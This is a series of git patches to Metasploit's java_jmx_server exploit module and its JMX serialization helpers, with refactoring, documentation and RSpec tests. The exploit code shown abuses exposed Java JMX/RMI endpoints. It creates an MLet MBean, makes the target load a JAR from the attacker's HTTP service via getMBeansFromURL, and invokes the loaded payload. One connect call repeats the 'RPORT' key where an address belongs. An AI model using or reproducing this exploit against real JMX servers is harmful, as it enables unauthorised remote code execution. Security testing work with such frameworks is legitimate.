be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "builds a correct stream" do + expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream) + end + end +end + From b97c0fe39833f11afe7cefb8bb26998b6b614dd5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 17:46:42 -0600 Subject: [PATCH 067/103] Add Msf::Jmx::Util#extract_unicast_ref --- lib/msf/jmx/discovery.rb | 19 ---------- lib/msf/jmx/handshake.rb | 17 --------- lib/msf/jmx/util.rb | 18 ++++++++++ .../exploits/multi/misc/java_jmx_server.rb | 7 ++-- spec/lib/msf/jmx/discovery_spec.rb | 34 ------------------ spec/lib/msf/jmx/util_spec.rb | 35 +++++++++++++++++++ 6 files changed, 58 insertions(+), 72 deletions(-) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 2cb8b4696d..9b03fb4e75 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -16,25 +16,6 @@ module Msf stream end - - def extract_mbean_server(block_data) - data_io = StringIO.new(block_data.contents) - - ref = extract_string(data_io) - unless ref && ref == 'UnicastRef' - return nil - end - - address = extract_string(data_io) - return nil unless address - - port = extract_int(data_io) - return nil unless port - - id = data_io.read - - { address: address, port: port, id: id } - end end end end diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index cb86d1b2bf..cd3ea732ae 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -36,23 +36,6 @@ module Msf auth_array end - - def extract_rmi_connection_stub(block_data) - data_io = StringIO.new(block_data.contents) - - ref = extract_string(data_io) - return nil unless ref && ref == 'UnicastRef' - - address = extract_string(data_io) - return nil unless address - - port = extract_int(data_io) - return nil unless port - - id = data_io.read - - { address: address, port: port, :id => id } - end end end end diff --git a/lib/msf/jmx/util.rb b/lib/msf/jmx/util.rb index 6567a23c11..49a9ced0fc 100644 --- a/lib/msf/jmx/util.rb +++ b/lib/msf/jmx/util.rb @@ -60,6 +60,24 @@ module Msf int end + + def extract_unicast_ref(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + id = io.read + + { address: address, port: port, id: id } + end + end end end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 289cab923e..925f3934da 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -129,7 +129,10 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NoAccess, "#{peer} - JMX end point requires authentication, but it failed") when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' print_good("#{peer} - Handshake completed, proceeding...") - conn_stub = extract_rmi_connection_stub(return_data.contents[2]) + conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + if conn_stub.nil? + fail_with(Failure::Unknown, "#{peer} - Failed to extract the UnicastRef information") + end else fail_with(Failure::Unknown, "#{peer} - Handshake returned unexpected object #{answer}") end @@ -208,7 +211,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Extracting MBean Server...") - mbean_server = extract_mbean_server(return_data.contents[2]) + mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) if mbean_server.nil? fail_with("#{peer} - Failed to extract the JMX MBean server endpoint") diff --git a/spec/lib/msf/jmx/discovery_spec.rb b/spec/lib/msf/jmx/discovery_spec.rb index 77b5392ffc..65f2a7b2aa 100644 --- a/spec/lib/msf/jmx/discovery_spec.rb +++ b/spec/lib/msf/jmx/discovery_spec.rb @@ -1,7 +1,6 @@ # -*- coding:binary -*- require 'spec_helper' -require 'stringio' require 'rex/java' require 'msf/jmx' @@ -20,21 +19,6 @@ describe Msf::Jmx::Discovery do "\x69" end - let(:block_data_answer) do - "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + - "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + - "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + - "\xdf\xd4\x57\x7e\x80\x01\x01" - end - - let(:mbean_server) do - { - :address => '172.16.158.131', - :id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01", - :port => 3057 - } - end - describe "#discovery_stream" do it "returns a Rex::Java::Serialization::Model::Stream" do @@ -45,23 +29,5 @@ describe Msf::Jmx::Discovery do expect(mod.discovery_stream.encode).to eq(stream_discovery) end end - - describe "#extract_mbean_server" do - context "when empty block data" do - it "returns nil" do - expect(mod.extract_mbean_server(Rex::Java::Serialization::Model::BlockData.new)). to be_nil - end - end - - context "when valid block data" do - it "returns a hash" do - expect(mod.extract_mbean_server(Rex::Java::Serialization::Model::BlockData.new(nil, block_data_answer))).to be_a(Hash) - end - - it "returns a hash containing the end point information" do - expect(mod.extract_mbean_server(Rex::Java::Serialization::Model::BlockData.new(nil, block_data_answer))).to eq(mbean_server) - end - end - end end diff --git a/spec/lib/msf/jmx/util_spec.rb b/spec/lib/msf/jmx/util_spec.rb index fea05feed5..652836bec7 100644 --- a/spec/lib/msf/jmx/util_spec.rb +++ b/spec/lib/msf/jmx/util_spec.rb @@ -31,6 +31,24 @@ describe Msf::Jmx::Util do end let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) } + let(:contents_unicast_ref) do + "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + + "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + + "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + + "\xdf\xd4\x57\x7e\x80\x01\x01" + end + let(:unicast_ref_io) do + StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents) + end + let(:unicast_ref) do + { + :address => '172.16.158.131', + :id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01", + :port => 3057 + } + end + + describe "#extract_string" do context "when io contains a valid string" do it "returns the string" do @@ -82,5 +100,22 @@ describe Msf::Jmx::Util do end end + describe "#extract_unicast_ref" do + context "when empty io" do + it "returns nil" do + expect(mod.extract_unicast_ref(empty_io)). to be_nil + end + end + + context "when valid io" do + it "returns a hash" do + expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash) + end + + it "returns a hash containing the UnicastRef information" do + expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref) + end + end + end end From 625420120c01682d4527d982cc58d98729b7e19e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 17:48:49 -0600 Subject: [PATCH 068/103] Add documentation for extract_unicast_ref --- lib/msf/jmx/util.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/msf/jmx/util.rb b/lib/msf/jmx/util.rb index 49a9ced0fc..91aaa84f8c 100644 --- a/lib/msf/jmx/util.rb +++ b/lib/msf/jmx/util.rb @@ -61,6 +61,10 @@ module Msf int end + # Extracts an UnicastRef (endpoint) information from an IO + # + # @param io [IO] the io to extract the int from + # @return [Hash, nil] the extracted int if success, nil otherwise def extract_unicast_ref(io) ref = extract_string(io) unless ref && ref == 'UnicastRef' From 552f0325be2aecc59b9facb57558e926d256ba7b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 18:11:44 -0600 Subject: [PATCH 069/103] Add documentation for Msf::Jmx::Handshake --- lib/msf/jmx/handshake.rb | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index cd3ea732ae..835599cf47 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -2,9 +2,16 @@ module Msf module Jmx + # This module provides methods which help to handle a JMX handshake module Handshake - def handshake_stream(id) - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") + + # Builds a Rex::Java::Serialization::Model::Stream to make + # a JMX handshake with an endpoint + # + # @param id [String] The endpoint UnicastRef ObjId + # @return [Rex::Java::Serialization::Model::Stream] + def handshake_stream(obj_id) + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") stream = Rex::Java::Serialization::Model::Stream.new stream.contents << block_data @@ -21,6 +28,12 @@ module Msf stream end + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an authenticated handshake + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Rex::Java::Serialization::Model::NewArray] def auth_array_stream(username, password) builder = Rex::Java::Serialization::Builder.new From 2f2796bfdf2c2e37aab697944a5fb4db990a55ff Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 18:16:53 -0600 Subject: [PATCH 070/103] Add documentation for Msf::Jmx::Discovery --- lib/msf/jmx/discovery.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 9b03fb4e75..3b11ad5483 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -2,7 +2,12 @@ module Msf module Jmx + # This module provides methods which help to handle JMX end points discovery module Discovery + # Builds a Rex::Java::Serialization::Model::Stream to discover + # an JMX RMI endpoint + # + # @return [Rex::Java::Serialization::Model::Stream] def discovery_stream block_data = Rex::Java::Serialization::Model::BlockData.new( nil, From dbe7afd3e7685315aabf9ac54220d4764db92ae6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 18:29:21 -0600 Subject: [PATCH 071/103] Add dcoumentation for Msf::Jmx::Mbean::ServerConnection --- lib/msf/jmx/mbean/server_connection.rb | 38 ++++++++++++++++++++++---- 1 file changed, 32 insertions(+), 6 deletions(-) diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index e45ce0ca40..8620167dee 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -5,8 +5,14 @@ module Msf module MBean module ServerConnection - def create_mbean_stream(id, name) - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the createMBean (javax.management.MBeanServerConnection) method. + # + # @param obj_id [String] the jmx endpoint ObjId + # @param name [String] the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def create_mbean_stream(obj_id, name) + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") stream = Rex::Java::Serialization::Model::Stream.new stream.contents << block_data @@ -17,10 +23,16 @@ module Msf stream end - def get_object_instance_stream(id, name) + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the + # Java getObjectInstance (javax.management.MBeanServerConnection) method. + # + # @param obj_id [String] the jmx endpoint ObjId + # @param name [String] the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def get_object_instance_stream(obj_id, name) builder = Rex::Java::Serialization::Builder.new - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") new_object = builder.new_object( name: 'javax.management.ObjectName', @@ -38,10 +50,18 @@ module Msf stream end - def invoke_stream(id, object_name, method_name, arguments) + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the Java invoke (javax.management.MBeanServerConnection) method. + # + # @param obj_id [String] the jmx endpoint ObjId + # @param object_name [String] the object whose method we want to call + # @param method_name [Sting] the method name to invoke + # @param arguments [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_stream(obj_id, object_name, method_name, arguments) builder = Rex::Java::Serialization::Builder.new - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") new_object = builder.new_object( name: 'javax.management.ObjectName', @@ -91,6 +111,12 @@ module Msf stream end + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java invoke (javax.management.MBeanServerConnection) + # method. + # + # @param arguments [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] def invoke_arguments_stream(arguments) builder = Rex::Java::Serialization::Builder.new From 0b2d65749b3ee501dc36c8c502fc3795bea1f1a6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 18:46:09 -0600 Subject: [PATCH 072/103] Do better argument handling on Msf::Jmx::Mbean::ServerConnection --- lib/msf/jmx/mbean/server_connection.rb | 52 ++++++++++++------- .../exploits/multi/misc/java_jmx_server.rb | 22 ++++---- 2 files changed, 44 insertions(+), 30 deletions(-) diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index 8620167dee..60b427d3fe 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -3,15 +3,21 @@ module Msf module Jmx module MBean + # This module provides methods which help to handle with MBean related calls. + # Specially, simulating calls with the Java javax.management.MBeanServerConnection + # class module ServerConnection # Builds a Rex::Java::Serialization::Model::Stream to simulate a call - # to the createMBean (javax.management.MBeanServerConnection) method. + # to the createMBean method. # - # @param obj_id [String] the jmx endpoint ObjId - # @param name [String] the name of the MBean + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean # @return [Rex::Java::Serialization::Model::Stream] - def create_mbean_stream(obj_id, name) + def create_mbean_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") stream = Rex::Java::Serialization::Model::Stream.new @@ -24,12 +30,16 @@ module Msf end # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the - # Java getObjectInstance (javax.management.MBeanServerConnection) method. + # Java getObjectInstance method. # - # @param obj_id [String] the jmx endpoint ObjId - # @param name [String] the name of the MBean + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean # @return [Rex::Java::Serialization::Model::Stream] - def get_object_instance_stream(obj_id, name) + def get_object_instance_stream(opts) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + builder = Rex::Java::Serialization::Builder.new block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") @@ -51,14 +61,19 @@ module Msf end # Builds a Rex::Java::Serialization::Model::Stream to simulate a call - # to the Java invoke (javax.management.MBeanServerConnection) method. + # to the Java invoke method. # - # @param obj_id [String] the jmx endpoint ObjId - # @param object_name [String] the object whose method we want to call - # @param method_name [Sting] the method name to invoke - # @param arguments [Hash] the arguments of the method to invoke + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :object the object whose method we want to call + # @option opts [String] :method the method name to invoke + # @option opts [String] :args the arguments of the method to invoke # @return [Rex::Java::Serialization::Model::Stream] - def invoke_stream(obj_id, object_name, method_name, arguments) + def invoke_stream(opts) + obj_id = opts[:obj_id] || "\x00" * 22 + object_name = opts[:object] || '' + method_name = opts[:method] || '' + arguments = opts[:args] || {} builder = Rex::Java::Serialization::Builder.new block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") @@ -112,12 +127,11 @@ module Msf end # Builds a Rex::Java::Serialization::Model::Stream with the arguments to - # simulate a call to the Java invoke (javax.management.MBeanServerConnection) - # method. + # simulate a call to the Java invoke method method. # - # @param arguments [Hash] the arguments of the method to invoke + # @param args [Hash] the arguments of the method to invoke # @return [Rex::Java::Serialization::Model::Stream] - def invoke_arguments_stream(arguments) + def invoke_arguments_stream(args) builder = Rex::Java::Serialization::Builder.new new_array = builder.new_array( @@ -125,7 +139,7 @@ module Msf serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new], values_type: 'java.lang.Object;', - values: arguments.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } ) stream = Rex::Java::Serialization::Model::Stream.new diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 925f3934da..1aadc73f99 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Getting JMXPayload instance...") - my_stream = get_object_instance_stream(conn_stub[:id].chop , 'MLetCompromise:name=jmxpayload,id=1') + my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') send_call(sock: server_sock, call_data: my_stream) return_data = recv_return(sock: server_sock) @@ -164,10 +164,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing payload...") my_stream = invoke_stream( - conn_stub[:id].chop, - 'MLetCompromise:name=jmxpayload,id=1', - 'run', - {} + obj_id: conn_stub[:id].chop, + object: 'MLetCompromise:name=jmxpayload,id=1', + method: 'run' ) send_call(sock: server_sock, call_data: my_stream) @@ -225,7 +224,8 @@ class Metasploit3 < Msf::Exploit::Remote start_service print_status("#{peer} - Creating javax.management.loading.MLet MBean...") - send_call(sock: server_sock, call_data: create_mbean_stream(conn_stub[:id].chop, 'javax.management.loading.MLet')) + create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') + send_call(sock: server_sock, call_data: create_mbean) return_data = recv_return(sock: server_sock) answer = extract_object(return_data, 1) @@ -245,7 +245,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Getting javax.management.loading.MLet instance...") - my_stream = get_object_instance_stream(conn_stub[:id].chop , 'DefaultDomain:type=MLet') + my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') send_call(sock: server_sock, call_data: my_stream) return_data = recv_return(sock: server_sock) @@ -271,10 +271,10 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") my_stream = invoke_stream( - conn_stub[:id].chop, - 'DefaultDomain:type=MLet', - 'getMBeansFromURL', - { 'java.lang.String' => "#{get_uri}/mlet" } + obj_id: conn_stub[:id].chop, + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "#{get_uri}/mlet" } ) send_call(sock: server_sock, call_data: my_stream) return_data = recv_return(sock: server_sock) From 7e2f9b32b317c0fb2e93c206d303613c8caf5109 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 18:59:25 -0600 Subject: [PATCH 073/103] Add specs for Msf::Jmx::MBean::ServerConnection#create_mbean_stream --- spec/lib/msf/jmx/mbean/server_connection.rb | 35 +++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 spec/lib/msf/jmx/mbean/server_connection.rb diff --git a/spec/lib/msf/jmx/mbean/server_connection.rb b/spec/lib/msf/jmx/mbean/server_connection.rb new file mode 100644 index 0000000000..73719dde5b --- /dev/null +++ b/spec/lib/msf/jmx/mbean/server_connection.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'msf/jmx' + +describe Msf::Jmx::MBean::ServerConnection do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Jmx + mod.send(:initialize) + mod + end + + let(:mbean_name) { 'MBeanSample' } + + describe "#create_mbean_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.create_mbean_stream.contents[1].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.create_mbean_stream(name: 'MBeanSample').contents[1].contents).to eq('MBeanSample') + end + end + end +end + From 2ef57d617251f407daafa5388162b576b3e27a53 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 19:10:21 -0600 Subject: [PATCH 074/103] Add specs for Msf::Jmx::MBean::ServerConnection --- lib/msf/jmx/mbean/server_connection.rb | 6 +- spec/lib/msf/jmx/mbean/server_connection.rb | 62 ++++++++++++++++++++- 2 files changed, 63 insertions(+), 5 deletions(-) diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index 60b427d3fe..ab8abb709d 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -36,7 +36,7 @@ module Msf # @option opts [String] :obj_id the jmx endpoint ObjId # @option opts [String] :name the name of the MBean # @return [Rex::Java::Serialization::Model::Stream] - def get_object_instance_stream(opts) + def get_object_instance_stream(opts = {}) obj_id = opts[:obj_id] || "\x00" * 22 name = opts[:name] || '' @@ -69,7 +69,7 @@ module Msf # @option opts [String] :method the method name to invoke # @option opts [String] :args the arguments of the method to invoke # @return [Rex::Java::Serialization::Model::Stream] - def invoke_stream(opts) + def invoke_stream(opts = {}) obj_id = opts[:obj_id] || "\x00" * 22 object_name = opts[:object] || '' method_name = opts[:method] || '' @@ -131,7 +131,7 @@ module Msf # # @param args [Hash] the arguments of the method to invoke # @return [Rex::Java::Serialization::Model::Stream] - def invoke_arguments_stream(args) + def invoke_arguments_stream(args = {}) builder = Rex::Java::Serialization::Builder.new new_array = builder.new_array( diff --git a/spec/lib/msf/jmx/mbean/server_connection.rb b/spec/lib/msf/jmx/mbean/server_connection.rb index 73719dde5b..9d2487fbb3 100644 --- a/spec/lib/msf/jmx/mbean/server_connection.rb +++ b/spec/lib/msf/jmx/mbean/server_connection.rb @@ -12,7 +12,10 @@ describe Msf::Jmx::MBean::ServerConnection do mod end - let(:mbean_name) { 'MBeanSample' } + let(:mbean_sample) { 'MBeanSample' } + let(:sample_args) do + {'arg1' => 'java.lang.String'} + end describe "#create_mbean_stream" do it "returns a Rex::Java::Serialization::Model::Stream" do @@ -27,9 +30,64 @@ describe Msf::Jmx::MBean::ServerConnection do context "when opts" do it "builds a stream having opts into account" do - expect(mod.create_mbean_stream(name: 'MBeanSample').contents[1].contents).to eq('MBeanSample') + expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample) end end end + + describe "#get_object_instance_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.get_object_instance_stream.contents[2].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample) + end + end + end + + describe "#invoke_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.invoke_stream.contents[2].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample) + end + end + end + + describe "#invoke_arguments_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0) + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1']) + end + end + end + end From b792c0a5bf879f54dee3f6a0ae6f7014af78df61 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 20:44:10 -0600 Subject: [PATCH 075/103] Create exploit_mbean_server method --- .../exploits/multi/misc/java_jmx_server.rb | 106 +++++++++--------- 1 file changed, 53 insertions(+), 53 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 1aadc73f99..3bd187c8ad 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -59,10 +59,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def peer - "#{rhost}:#{rport}" - end - def on_request_uri(cli, request) if request.uri =~ /mlet$/ jar = 'compromise.jar' @@ -76,6 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Content-Type' => 'application/octet-stream', 'Pragma' => 'no-cache' }) + + print_status("Replied to request for mlet") elsif request.uri =~ /\.jar$/i p = regenerate_payload(cli) jar = p.encoded_jar @@ -98,6 +96,54 @@ class Metasploit3 < Msf::Exploit::Remote def exploit mbean = get_mbean_server + exploit_mbean_server(mbean) + end + + def get_mbean_server + print_status("#{peer} - Sending RMI Header...") + connect + + send_header + ack = recv_protocol_ack + if ack.nil? + fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") + end + + vprint_status("#{peer} - Sending JMXRMI discovery call...") + + send_call(call_data: discovery_stream) + return_data = recv_return + disconnect + + if return_data.nil? + fail_with(Failure::Unknown, "#{peer} - Failed to discover the JMX endpoint") + end + + answer = extract_object(return_data, 1) + + if answer.nil? + fail_with(Failure::Unknown, "#{peer} - Unexpected JMXRMI discovery answer") + end + + case answer + when 'javax.management.remote.rmi.RMIServerImpl_Stub' + print_good("#{peer} - RMIServerImpl_Stub instance found, using it") + else + fail_with(Failure::Unknown, "#{peer} - JMXRMI discovery returned unexpected object #{answer}") + end + + print_status("#{peer} - Extracting MBean Server...") + + mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + + if mbean_server.nil? + fail_with("#{peer} - Failed to extract the JMX MBean server endpoint") + end + + mbean_server + end + + def exploit_mbean_server(mbean) print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...") server_sock = connect(false, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) @@ -164,59 +210,13 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing payload...") my_stream = invoke_stream( - obj_id: conn_stub[:id].chop, - object: 'MLetCompromise:name=jmxpayload,id=1', - method: 'run' + obj_id: conn_stub[:id].chop, + object: 'MLetCompromise:name=jmxpayload,id=1', + method: 'run' ) send_call(sock: server_sock, call_data: my_stream) disconnect(server_sock) - disconnect - end - - def get_mbean_server - print_status("#{peer} - Sending RMI Header...") - connect - - send_header - ack = recv_protocol_ack - if ack.nil? - print_error("#{peer} - Filed to negotiate RMI protocol") - disconnect - return - end - - vprint_status("#{peer} - Sending JMXRMI discovery call...") - - send_call(call_data: discovery_stream) - return_data = recv_return - - if return_data.nil? - fail_with("#{peer} - Failed to discover the JMX endpoint") - end - - answer = extract_object(return_data, 1) - - if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected JMXRMI discovery answer") - end - - case answer - when 'javax.management.remote.rmi.RMIServerImpl_Stub' - print_good("#{peer} - RMIServerImpl_Stub instance found, using it") - else - fail_with(Failure::Unknown, "#{peer} - JMXRMI discovery returned unexpected object #{answer}") - end - - print_status("#{peer} - Extracting MBean Server...") - - mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) - - if mbean_server.nil? - fail_with("#{peer} - Failed to extract the JMX MBean server endpoint") - end - - mbean_server end def load_payload(server_sock, conn_stub) From d90f856c005088dd848fe799d4c9627ff0b01314 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 20:51:20 -0600 Subject: [PATCH 076/103] Delete sock_server variable --- .../exploits/multi/misc/java_jmx_server.rb | 47 +++++++++++-------- 1 file changed, 28 insertions(+), 19 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 3bd187c8ad..54b3c20138 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -93,6 +93,16 @@ class Metasploit3 < Msf::Exploit::Remote end end + def check + mbean = get_mbean_server + + unless mbean + return Exploit::CheckCode::Safe + end + + mbean + end + def exploit mbean = get_mbean_server 